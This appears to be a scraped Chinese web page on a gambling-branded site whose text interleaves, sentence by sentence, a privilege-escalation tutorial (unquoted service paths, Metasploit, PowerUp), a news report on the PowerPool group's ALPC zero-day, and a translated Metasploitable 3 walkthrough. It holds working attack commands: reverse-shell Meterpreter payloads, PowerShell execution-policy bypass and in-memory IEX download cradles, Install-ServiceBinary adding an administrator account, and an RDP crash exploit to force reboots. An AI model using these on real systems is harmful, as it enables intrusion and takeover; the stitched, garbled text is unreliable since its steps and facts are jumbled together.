快捷搜索:

您的位置:金莎娱乐 > 互联网 > Windows系统错误系统漏洞提权澳门金莎:

Windows系统错误系统漏洞提权澳门金莎:

发布时间:2019-10-24 12:19编辑:互联网浏览(133)

    原标题:黑客组织PowerPool利用最新Windows零日漏洞在全球多个国家实

    Trusted Service Paths 漏洞

    windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

    例如,有如下的文件路径:

    C:Program FilesSome FolderService.exe

    对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

    C:Program.exe

    C:Program FilesSome.exe

    C:Program FilesSome FolderService.exe

    所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

    我们在8022端口上找到一个Apache网络服务器。我们来看下。打开firefox并输入IP地址 端口:192.168.0.205:8022。 我们知道Desktop Central 9软件在端口8022上运行。谷歌一下,立马可以知道有一个exploit可用!

    网络安全公司ESET于上周发表的一篇博文中指出,仅在一个最新的微软Windows零日漏洞被公开披露的两天之后,一个被追踪为“PowerPool”的黑客组织就在实际攻击活动中对它进行了利用。虽然从相关数据来看受害者数量并不多,但攻击却横跨了多个国家,其中包括智利、德国、印度、菲律宾、波兰、俄罗斯、英国、美国和乌克兰。

    Metasploit下Trusted ServicePaths漏洞的实战利用

    澳门金莎 1

    一个Windows零日漏洞在上个月被公开披露

    1.先检测目标主机是否存在该漏洞

    理论上讲,如果一个服务的可执行文件的路径没有用双引号封闭,并且包含空格,那么这个服务就是有漏洞的。

    我们在meterpreter shell命令提示符下输入shell命令进入目标机cmd下,然后使用下列wmi查询命令来列举受害者机器上所有的没有加引号的服务路径(除去了windows本身的服务)。

    wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr/i /v """
    

     这是可以看到有哪些服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。

    第2步:利用一个服务获取一个shell

    2018年8月27日,一个据称影响到从Windows 7到Windows 10的所有操作系统版本的零日漏洞在GitHub上被公开披露,同时披露者(SandboxEscaper)还通过Twitter对此事进行了宣传。

    2.检查对有漏洞目录是否有写入的权限

    这里我们使用Windows内建的一个工具,icacls,下面我们用这个工具依次来检查目录的权限。

    C:Usersadmin>icacls "C:Program Filesbaidu"
    

    澳门金莎 2

    类似这种命令,直至找到有everyone属性的目录

    “M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。

    现在我们已经发现了一个易受攻击的服务和一个可用的exploit,开始exploit这个机器:

    SandboxEscaper发布的推文

    3.确认了目标主机存在此漏洞后,便开始正式攻击

    Metasploit中相对应的是Windows Service Trusted Path Privilege Escalation本地利用模块,该模块会将恶意的可执行程序放到受影响的文件夹中去,然后将受影响的服务重启。接着我们输入命令background,把当前的meterpreter shell转为后台执行。然后在Metasploit中搜索trusted_service_path模块。如下图所示。

    澳门金莎 3

    通过在终端中运行msfconsole启动Metasploit,或单击快捷方式。 您可以通过输入以下内容找到上述我们发现的漏洞的路径:

    该推文包含了一条指向GitHub存储库的链接,而该存储库则包含了该漏洞利用的概念验证代码。披露者不仅仅发布了编译版本,同时也包括源代码。因此,任何人都可以在源代码的基础上对漏洞利用程序进行修改或重新编译,使其更适合于实际攻击。

    4.使用该exploit程序,并设置相关参数

    澳门金莎 4

    澳门金莎 5

    ESET表示,此次漏洞披露并不合理,因为在发布这条推文时,该漏洞并没有相应的安全补丁可用。

    5.攻击

    输入run命令,可以看到自动反弹了一个新的meterpreter,我们在此meterpreter shell下输入getuid 发现是system 权限,如下图所示。证明我们已经提权成功了。

    澳门金莎 6

    我们输入sessions可以看到有2个meterpreter,ID为3的就是新反弹回来的,如下图所示。

    澳门金莎 7

    我们浏览源代码发现,这个模块使用了一些正则表达式来过滤掉那些路径用引号包含起来的路径,以及路径中不含空格的路径,并创建一个受影响的服务的路径列表。接着该模块尝试利用列表中第一个受影响的服务,将恶意的可执行程序放到相应受影响的文件夹中去。接着受影响的服务被重启,最后,该模块会删除该恶意可执行文件。

    search ManageEngine

    从公开披露的漏洞细节来看,该漏洞主要影响的是Windows操作系统的高级本地过程调用(ALPC)功能,并允许本地权限提升(LPE)。根据ESET的说法,LPE漏洞通常允许可执行文件或进程提升权限。在特定情况下,它允许受限用户启动的可执行文件获得SYSTEM权限。

    6.解决方案

    当开发者没有将文件路径用引号包含起来的时候,才会发生这种行为。用引号包含起来的路径解析的时候则不存在这种行为

    执行搜索命令后,通过谷歌发现了Manage Engine Desktop Central 9漏洞。

    PowerPool组织对漏洞利用程序进行了“优化”

    PowerUp之”系统服务错误权限配置漏洞”的实战利用

    这里我们主要利用一个非常实用的Powershell框架-Powerup通过直接替换可执行文件本身来实现权限的提升。首先检测目标主机是否存在该漏洞。Powerup可以帮助我们寻找服务器错误的系统配置和漏洞从而实现提权的目的。下载地址:

    我们先将工具下载到本地,然后上传至目标服务器。见下图所示。

    澳门金莎 8

    上传好脚本后,输入shell命令进入CMD提示符下,然后可以使用下列命令在本地隐藏权限绕过执行该脚本,会自动进行所有的脚本检查。见下图所示。

    powershell.exe -exec bypass -Command "&{Import-Module .PowerUp.ps1; Invoke-AllChecks}"
    

    澳门金莎 9

    也可以使用IEX下载在内存中加载此脚本,执行如下命令,同样会自动进行所有的检查,如下图所示。

    powershell -nop -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”
    

    知识点:

    -NoProfile(-NoP):PowerShell控制台不加载当前用户的配置

    -Exec Bypass:绕过执行安全策略

    Import-Module:加载脚本

    澳门金莎 10

    可以看出,Powerup列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。第一部分通过Get-ServiceUnquoted模块检测出了有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务,路径包含空格且不带引号,但是都没有权限,所以并不能被我们利用来提权。第二部分通过Get-ServiceFilePermission模块检测出当前用户可以在“OmniServers”服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。

    这里我们还是可以使用icacls来验证下PowerUp脚本检测是否正确,我们先来测试“C:Program FilesExecutable.exe”、“C:Program FilesCommon FilesmicrosoftsharedOmniServ.exe”、“C:Program FilesCommon FilesA SubfolderOmniServer.exe”这三个文件夹,均提示权限不够。如下图所示。

    澳门金莎 11

    再测试“C:Program FilesProgram FolderASubfolderOmniServers.exe”文件,如下图所示。

    澳门金莎 12

    可以看到我们对OmniServers.exe文件是有完全控制权的,这里我们可以直接将OmniServers.exe替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreter。

    在这里我们使用图11里AbuseFunction那里已经给出的具体操作方式,执行如下命令操作,如下图所示。

    powershell -nop -exec bypass IEX (New-ObjectNet.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary-ServiceName 'OmniServers'-UserName shuteer -Password Password123!
    

     

     
    
    本文转载Freebuf,原文地址:http://www.freebuf.com/articles/system/131388.html
    

     

    澳门金莎 13

    ESET表示,虽然PowerPool是一个新成立的黑客组织,但并不意味着他们缺乏可用的黑客工具以及开发工具的能力。比如,对于这个最新的Windows零日漏洞的利用,PowerPool并没有直接使用由披露者提供的二进制文件。相反,他们对源代码进行了修改,并对其进行了重新编译。

    要开始使用漏洞,路径在上图中已标明。 您可以tab键自动填充。

    从安全研究员Kevin Beaumont和CERT对该漏洞的分析来看,它是由于SchRpcSetSecurity API函数中未能够正确检查用户的权限而导致的。因此,无论实际权限如何,用户都可以对C:WindowsTask中的任何文件具有写权限,这允许仅具有读权限的用户也能够替换写保护文件的内容。

    use exploit/windows/http//manageengine_connectionid_write

    由于任何用户在C:WindowsTask都具有写权限,因此我们完全可以在此文件夹中创建一个文件来充当指向任何目标文件的硬链接。然后,通过调用SchRpcSetSecurity函数,就可以获得对该目标文件的写权限。

    现在exploit被加载了。 就我来说,我总是运行show options 来查看哪些设置可用,哪些是必需的。 我们在这里看到3个必需的设置:

    想要实现本地权限提升,攻击者首先需要选择将被覆盖的目标文件,而此类需要是一个使用SYSTEM权限自动执行的文件。例如,它可以是系统文件,也可以是由任务定期执行的已安装软件的更新程序。最后一步涉及到使用恶意代码替换受保护目标文件的内容,使得在下次自动执行时,恶意软件将具有SYSTEM权限,而不用管其原始权限如何。

    RHOST:目标地址。 这将是我们的目标主机的IP地址 - 192.168.0.206

    对于PowerPool而言,他们选择的是更改文件C:Program Files (x86)GoogleUpdateGoogleUpdate.exe的内容。这是Google应用的合法更新程序,并且通常由微软Windows任务在SYSTEM权限下运行。

    RPORT:目标端口。 在我们的Nmap portscan期间,我们发现服务在8022运行。

    澳门金莎 14

    TARGETURI :Desktop Central软件的路径。 离开这是标准设置。

    创建指向Google Updater的硬链接

    要设置您自己的设置,您需要执行set SETTING value,例如:

    滥用SchRpcCreateFolder修改Google Updater权限

    set RHOST 192.168.0.206set RPORT 8022

    PowerPool组织常用的攻击手段和黑客工具

    澳门金莎 15

    ESET表示,PowerPool组织在整个攻击链中会使用不同的方法来实现初步入侵,其中一种便是发送带有恶意附件的垃圾电子邮件。根据SANS互联网风暴中心在5月份发表的一篇分析文章来看,该组织曾使用了Symbolic Link(.slk)文件来作为附件。此类文件可以由微软Excel打开,并强制Excel执行PowerShell代码。

    理解vulnerability,payloadexploit之间的区别很重要。payload是您希望执行的实际代码,而exploit是提供payload的一种方式。一个vulnerability是系统中的一个弱点,允许exploit利用。如果你拿火箭的比喻,那么火箭就是exploit,而弹头是payload,造成实际的伤害。

    PowerPool垃圾电子邮件样本示例

    现在我们设置了exploit,我们需要附加一个payload。通常,我们的payload为我们产生了一个反向shell,允许我们与目标系统进行交互。这意味着我们将在目标机器上执行一段特定代码,向我们返回一个shell(命令行)。在攻击Windows机器时可能会产生不同的shell,例如Windows命令行或Windows

    在攻击中,PowerPool组织主要会使用到两个不同的后门。其中,第一个后门用于侦察,它包含两个Windows可执行文件:第一个可执行文件能够通过Windows服务建立持久性以及收集代理信息;第二个可执行文件的目的只有一个,截取受感染设备的截图并写入MyScreen.jpg,然后由第一个可执行文件上传到C&C服务器。

    PowerShell。

    用于实现代理信息收集的代码段

    一个非常有趣的payload是meterpreteter,因为它能够产生不止一个shell。 Meterpreter是一种高级多功能的payload,优于其他payload,因为与执行一个命令的其他payload(例如添加用户或产生一个shell)相反,meterpreter可以被视为一个交互式的shell,允许您下载/上传文件,dump 哈希密码,生成shell,安装后门,特权升级等等。

    第二个后门用于从 C&C域名]/upload下载其他工具。

    meterpeter另一个显著的优点是在现有流程中只使用DLL注入而完全驻留在内存中,而不会和磁盘有接触。此外,它可以从一个进程迁移到另一个进程,从而使检测变得非常困难。为了执行任务,它不会创建其他可以被Antiviruses或Itrusion

    支持的命令包括:

    Detection Systems轻松接管的进程。

    • 执行命令
    • 终止进程
    • 上传文件
    • 下载文件
    • 列出文件夹内清单

    要将一个 meterpreter payload附加到我们的exploit上,请使用以下命令:

    下载的工具包括:

    set payload windows/meterpreter/reverse_tcp

    • PowerDump:一个Metasploit模块,可以从安全帐户管理器(SAM)中获取用户名和哈希值;
    • PowerSploit:一个基于PowerShell的Post-Exploitation框架,类似于Metasploit;
    • SMBExec:一个用于执行哈希传递(pass-the-hash)SMB连接的PowerShell工具;
    • Quarks PwDump:一个可以获取Windows凭证的Windows可执行文件;
    • FireMaster:一个Windows可执行文件,可以从Outlook、网页浏览器中获取存储的密码。

    如果现在再次运行 show options ,您将看到payload选项是可见的:

    如何减轻该本地权限提升(LPE)所带来的威胁

    LHOST: Meterpreter将连接的主机。 这将是我们自己的Kali VM 192.168.0.241的地址。

    根据CERT发布的信息,安全研究员Karsten Nilsen提供了可用来减轻该本地权限提升(LPE)所带来威胁的缓解措施。请注意:此缓解措施尚未得到微软的认可。

    LHOST: Meterpreter连接的端口。 选择您喜欢的任何可用端口或者4444端口上。

    想要缓解此漏洞带来的威胁,请在提示符中运行以下命令:

    将我们的监听地址设置为我们自己的地址:

    icacls c:windowstasks /remove:g "Authenticated Users"

    set LHOST 192.168.0.241

    icacls c:windowstasks /deny system:(OI)(CI)(WD,WDAC)

    澳门金莎 16

    请注意,当针对此漏洞的安全补丁发布时,应及时撤消这些更改。这可以通过执行以下命令来完成:

    我们打算利用这个exploit。 只需输入:

    icacls c:windowstasks /remove:d system

    exploit

    icacls c:windowstasks /grant:r "Authenticated Users":(RX,WD)

    如下面的屏幕截图所示,您可以看到这个漏洞利用工具,payload被激活,并为我们提供了一个meterpreter shell 。 要检查我们当前的权限, 键入getuid。 不幸的是,我们只有一个较低的权限shell。

    本文由 黑客视界 综合网络整理,图片源自网络;转载请注明“转自黑客视界”,并附上链接。返回搜狐,查看更多

    澳门金莎 17

    责任编辑:

    因为我们只有一个较低权限的shell,有限的访问权限,我们需要提升权限为了完全控制机器。 有许多命令可用,一般先尝试简单的方法。 执行getsystem尝试Meterpreter执行一些技巧,来尝试自动特权升级。 不幸的是,这次不行。 要产生一个本地shell(在Windows命令行下),只需输入shell即可。

    澳门金莎 18

    Powersploit是一个功能强大的Windows权限升级框架,在Powershell中编写。 下载并解压桌面上的压缩文件Powersploit。 我们将使用PowerShell启动一个Web服务器,所以很容易就可以通过meterpreter shell调用它们。 找到到解压缩的文件夹,并通过以下命令启动Web服务器:

    我们打算引发这个漏洞。 只需输入:

    python -m SimpleHTTPServer

    澳门金莎 19

    回到我们的Meterpreter会话。 在Meterpreter中可以产生一个Powershell shell,但是如果您立即使用 payload 会产生一个反向的PowerShell,那么加载诸如Powersploit之类的脚本要容易得多。

    为此,我们将退出 meterpreter 会话,并通过输入下面的命令,向我们的exploit添加一个PowerShell的 payload而不是 换一个 payload。 快速检查show options以验证收听地址是否仍然正确。

    set payload windows/powershell_reverse_tcp

    澳门金莎 20

    我们有一个PowerShell会话! 您可以忽略Invoke-Expression错误。

    澳门金莎 21

    这是一个更高级的地方。

    我们不能只将Powersploit下载到我们的目标系统,因为这样做可能会由 反病毒系统触发警报。

    为了避免这种情况,我们将直接从刚刚创建的Web服务器下载脚本,并在内存中执行PowerSploit脚本,而不用接触磁盘。我们将使用PowerUp.ps1,它是一个特制的PowerShell脚本,PowerSploit框架的一部分。

    要在内存中下载脚本,请在PowerShell中执行以下命令:

    IEX(New-Object Net.WebClient).DownloadString("")

    接下来,我们从称为Invoke-AllChecks的脚本执行一个函数,该函数将检查目标主机的攻击向量以进行权限提升。 为了更容易阅读,我们将结果输出到一个名为allchecks.txt的文件里。

    Invoke-AllChecks | Out-File allchecks.txt

    要查看结果,打开一个新的终端,并启动一个新的Metasploit实例,并再次获取meterpretershell(保存我们以前的会话而不是终止它)。

    要做到这一点,请重复上次执行的步骤,但选择另一个监听端口,因为我们已经在我们的PowerShell会话中使用4444(参见下图左侧终端窗口)。

    澳门金莎 22

    现在我们有两个shell在同一目标主机上运行,一个PowerShell和一个meterpreter shell。要下载all-checks.txt文件,用 meterpreter 执行 download allchecks.txt。在这里下载allchecks.txt的副本。

    您可以在allchecks.txt文件中查看,该脚本会检查目标系统是否有权限提升漏洞,例如unquoted servicepaths,可注入的DLL位置,无人参与的安装文件等。

    让我们来关注这些unquoted servicepaths和服务可执行文件和参数权限。基本上,这些是错误配置的可以添加自定义命令的服务路径。由于服务由系统用户运行,这意味着我们的自定义命令也将作为系统用户执行。太好了!

    但是,您还需要为这些服务配置错误的写访问权限添加您的自定义命令。

    PowerSploit让你很容易地执行可能的漏洞滥用功能。例如,为了滥用Jenkins服务,我们需要执行以下命令:Install-ServiceBinary

    -Name'jenkins'。不幸的是,在执行所有给定的命令之后,由于没有写访问权限,我们无法滥用一个功能。

    也许PowerSploit没有捕获所有unquoted servicepaths。我们在打开的meterpreter shell中手动检查。首先通过执行shell获取Windows命令行。

    执行以下命令:

    wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\" |findstr /i /v """

    使用这种方法,我们发现4种可能的漏洞服务。 其中一个服务,OpenSSHd不在PowerSploit列表中。 我们试图利用这项服务。

    澳门金莎 23

    通过在PowerShell中执行以下命令,尝试利用OpenSSHd服务。

    我们看到PowerShell会话立即关闭。 有一些运气成分,不管怎样说这个命令安装了。

    根据PowerSploit的文档,当使用密码Password123!的用户John下面的命令时会被添加到管理员组。

    Install-ServiceBinary -Name 'OpenSSHd'

    澳门金莎 24

    我们尝试用net stop OpenSSHd重新启动服务,并启动OpenSSHd,看看我们的命令是否启动。不幸的是,我们无法启动或停止服务。 我也很快验证了用户John是否被添加,但没有。

    还有另一种重新启动服务的方式,这就是强制重新启动我们的目标主机。 我们来运行Nmap,看看主机是否容易受到一些攻击,强制重启。

    澳门金莎 25

    我们发现了CVE-2012-0002利用的MS12-020错误漏洞。

    键入Metasploit控制台,我们的PowerShell刚刚关闭,并按照与上次相同的步骤:搜索漏洞利用,配置漏洞并执行它。

    此漏洞利用一系列特制的RDP数据包发送到受影响的系统,导致其崩溃并重启。 (确保在启动此漏洞时留意您的Metasploitable 3 VM)

    澳门金莎 26

    您的活动Windows命令行shell将由于重新启动而结束。 当机器重新上线时,只需再次键入exploit,重新连接到mepreter shell。

    澳门金莎 27

    如果我们的exploit有效的话,通过执行shell并检查网络用户,生成Windows命令行。

    有效! 我们创建了一个名为John的新用户,正是Administrators组的一部分。 我们从PowerSploit Readme知道他的密码是Password123!

    澳门金莎 28

    澳门金莎 29

    下一步是使用我们的新Administrator实际登录并获取root shell。 让我们用的新的管理员详细信息尝试著名的PSExec漏洞。

    澳门金莎 30

    另一个很酷的技巧是产生一个远程桌面。 如果PSExec不起作用,对于枚举盒子或禁用防火墙(规则)可能非常有用。

    本文由看雪翻译小组fyb波 翻译,来源 Dennis@Zero-Day

    转载请注明来自看雪论坛

    本文由金莎娱乐发布于互联网,转载请注明出处:Windows系统错误系统漏洞提权澳门金莎:

    关键词: